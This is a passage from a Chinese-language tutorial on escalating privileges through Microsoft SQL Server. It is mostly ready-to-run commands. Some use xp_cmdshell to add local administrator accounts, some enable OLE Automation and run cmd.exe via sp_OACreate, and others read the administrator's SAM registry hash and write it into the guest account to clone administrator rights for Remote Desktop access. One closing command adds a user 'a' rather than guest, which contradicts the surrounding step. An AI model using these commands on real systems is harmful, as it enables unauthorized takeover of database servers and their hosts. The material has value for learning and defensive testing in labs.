3、添加用户
use master; exec master..xp_cmdshell "net user 123 123/add";
4、添加用户到管理员组
use master; exec master..xp_cmdshell "net localgroup administrators 123 /add";
五、OLE提权过程
首先还是xp_cmd,当xp_cmd被删除或出错的情况下,利用SP_OACreate
OLE 这系列的存储过程有
sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop
1、打开SP_OACreate选项
use master; EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'show advanced options', 0;
2、添加用户456
注意是没有回显的
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 456 456 /add'
3、添加用户456至管理员权限组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 456/add'
六、xp_regread & xp_regwrite克隆账号
利用xp_regread 与 xp_regwrite两个存储过程脚本可以直接读取与写入注册表,所以我们可以利用这个两个存过过程来实现对“远程主机”的administrator超级管理员账号进行克隆,从而实现对目标主机的控制。
1、获取administrator的加密密码
xp_regread 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F4','F';
下图是navicat中的显示,并没有完全显示加密密码
下图是在靶机sql server中执行语句的结果
2、将加密密码赋值给guest账号
xp_regwrite 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F5','F','reg_binary',0x0300010000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFF7F0000000000000000F40100000102000011020000000000000000000001000000000000004A010C00;
3、使用guest账号登录远程桌面管理
注意:此条件的使用需要guest 用户在“远程桌面用户组”,否则出现不允许远程登录的情况;
针对此问题,我们尝试将guest用户添加到“administrators”组或者“Remote Desktop Users”。
guest账户需要被启用;
guest 账户需要在“Remote Desktop Users”
解决如下:
exec master..xp_cmdshell 'net user guest /active:yes'; exec master..xp_cmdshell 'net localgroup "Remote Desktop Users" a /add';